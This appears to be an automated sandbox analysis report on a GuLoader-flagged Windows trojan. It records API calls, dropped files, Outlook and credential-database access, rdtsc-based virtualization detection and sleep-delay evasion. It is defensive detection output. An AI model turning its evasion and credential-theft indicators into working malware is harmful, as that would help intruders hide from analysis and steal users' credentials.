Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5660	5_2_38DC5660
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC2E10	5_2_38DC2E10
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC67C0	5_2_38DC67C0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCAFF8	5_2_38DCAFF8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCAFF7	5_2_38DCAFF7
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCAFE8	5_2_38DCAFE8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC67B0	5_2_38DC67B0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC0FA8	5_2_38DC0FA8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC3F70	5_2_38DC3F70
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC3F60	5_2_38DC3F60
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5F10	5_2_38DC5F10
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_392CE5C8	5_2_392CE5C8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_392CD448	5_2_392CD448
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_392C73E0	5_2_392C73E0

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: String function: 00402BBF appears 51 times

Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.000000000601C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 14lVOjBoI2.exe
Source: 14lVOjBoI2.exe, 00000005.00000002.2670477424.0000000036337000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 14lVOjBoI2.exe

Source: 14lVOjBoI2.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004032A0

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

File created: C:\Users\user\AppData\Local\Temp\nsq6622.tmp

Jump to behavior

Source: 14lVOjBoI2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.00000000365F5000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036605000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2671895944.000000003753D000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036634000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036627000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036613000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 14lVOjBoI2.exe	ReversingLabs: Detection: 55%
Source: 14lVOjBoI2.exe	Virustotal: Detection: 64%

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

File read: C:\Users\user\Desktop\14lVOjBoI2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\14lVOjBoI2.exe "C:\Users\user\Desktop\14lVOjBoI2.exe"
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process created: C:\Users\user\Desktop\14lVOjBoI2.exe "C:\Users\user\Desktop\14lVOjBoI2.exe"
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process created: C:\Users\user\Desktop\14lVOjBoI2.exe "C:\Users\user\Desktop\14lVOjBoI2.exe"	Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 14lVOjBoI2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2119760895.0000000002A1A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2643645497.00000000017DA000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_10002DE0 push eax; ret

0_2_10002E0E

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

File created: C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	API/Special instruction interceptor: Address: 2CFA3CB
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	API/Special instruction interceptor: Address: 1ABA3CB

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	RDTSC instruction interceptor: First address: 2CBDDBA second address: 2CBDDBA instructions: 0x00000000 rdtsc 0x00000002 cld 0x00000003 cmp ebx, ecx 0x00000005 jc 00007F08D07E15D9h 0x00000007 inc ebp 0x00000008 inc ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	RDTSC instruction interceptor: First address: 1A7DDBA second address: 1A7DDBA instructions: 0x00000000 rdtsc 0x00000002 cld 0x00000003 cmp ebx, ecx 0x00000005 jc 00007F08D12E5D89h 0x00000007 inc ebp 0x00000008 inc ebx 0x00000009 rdtsc

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Memory allocated: 36510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Memory allocated: 38510000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599253	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599001	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598883	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596992	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596889	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596507	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596283	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596162	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595907	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595795	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594516	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594172	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594063	Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Window / User API: threadDelayed 7683			Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Window / User API: threadDelayed 2140			Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

API coverage: 4.4 %

Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 5084	Thread sleep count: 7683 > 30	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 5084	Thread sleep count: 2140 > 30	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599438s >= -30000s	Jump to behavior
